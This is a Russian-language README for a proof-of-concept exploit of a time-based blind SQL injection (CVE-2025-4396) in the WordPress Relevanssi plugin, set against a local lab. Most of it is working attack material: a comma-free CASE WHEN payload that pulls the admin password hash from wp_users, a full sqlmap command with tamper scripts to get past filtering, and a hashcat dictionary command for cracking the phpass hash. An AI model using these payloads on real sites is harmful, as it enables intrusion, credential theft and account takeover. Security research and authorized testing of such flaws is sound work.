
CVE-2025-4396 - WordPress Relevanssi Time-Based Blind SQL Injection
Отказ от ответственности: Этот репозиторий предназначен только для авторизованного тестирования на проникновение, исследований в области безопасности и образовательных целей. Несанкционированный доступ к компьютерным системам незаконен и неэтичен.
Эксплойт типа proof-of-concept для уязвимости time-based blind SQL-инъекции в плагине WordPress Relevanssi 4.24.4. Эта реализация специально предназначена для усиленных сред, в которых:
SUBSTR(str, pos, len) и IF(cond, true, false)SLEEP() до оценки полного выражения, что приводит к ложным срабатываниямВ определенных средах (например, в лаборатории DVWP) стандартные полезные нагрузки SQL-инъекций не работают по двум основным причинам:
| Проблема | Эффект |
|---|---|
| Удаление запятых | Нарушает SUBSTR(str, pos, len) и IF(cond, true, false) |
Жадный SLEEP() | MySQL выполняет sleep до полного логического выражения, вызывая ложные срабатывания |
Обе проблемы требуют целенаправленных обходных решений — они рассматриваются в ручном и автоматизированном подходах ниже.
asy.py)Асинхронный скрипт на Python, обеспечивающий точное посимвольное извлечение. Избегает накладных расходов автоматизированных инструментов и обходит фильтрацию запятых с помощью логики CASE WHEN.
| Особенность | Реализация |
|---|---|
| Асинхронный ввод-вывод | aiohttp для неблокирующих запросов |
| Полезные нагрузки без запятых | Синтаксис SUBSTR(str FROM pos FOR len) |
| Нежадная логика | CASE WHEN гарантирует, что SLEEP() срабатывает только при TRUE |
# Comma-less, CASE WHEN-based time-based payload
condition = f"ASCII(SUBSTR((SELECT user_pass FROM wp_users WHERE ID=1) FROM {pos} FOR 1))>{mid}"
injection = f"1*(SELECT CASE WHEN ({condition}) THEN SLEEP(3) ELSE 1 END)"
Почему CASE WHEN вместо IF()?
IF() использует запятые и подвержен жадному вычислению. CASE WHEN вычисляется лениво, гарантируя, что SLEEP() срабатывает только при условии, действительно равном TRUE.
SQLMap может автоматизировать обнаружение в этой среде с помощью специальных tamper-скриптов и флагов.
python3 sqlmap.py -u "http://localhost:31337/?s=test&cats=1*" \
--tamper=commalessmid,if2case,between \
--technique=T \
--dbms=MySQL \
--no-cast \
--batch \
--threads=1 \
--dbs
| Флаг | Назначение |
|---|---|
--tamper=commalessmid,if2case | Переписывает полезные нагрузки в SQL без запятых; заменяет IF() на CASE WHEN |
--tamper=between | Заменяет сравнения > на BETWEEN для дополнительного обхода WAF |
--technique=T | Ограничивается только time-based blind injection |
--no-cast | Предотвращает обёртки CAST(), которые вводят запрещённые запятые |
--threads=1 | Обеспечивает точность синхронизации — параллельные запросы вызывают перекрывающиеся задержки сна |
Примечание по
--threads=1: Это необходимо для надёжного извлечения. Несколько потоков вызывают перекрывание задержек сна, нарушая синхронизацию бинарного поиска и приводя к искажённым результатам.
| Поле | Значение |
|---|---|
| Цель | Таблица WordPress wp_users |
| Пользователь | admin (ID = 1) |
| Извлечённый хэш | REDACTED |
| Алгоритм | phpass (стандартное хэширование паролей WordPress) |
hashcat -m 400 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
-m 400 нацелен на хэши phpass-a 0 — прямая атака по словарю с использованием rockyou.txt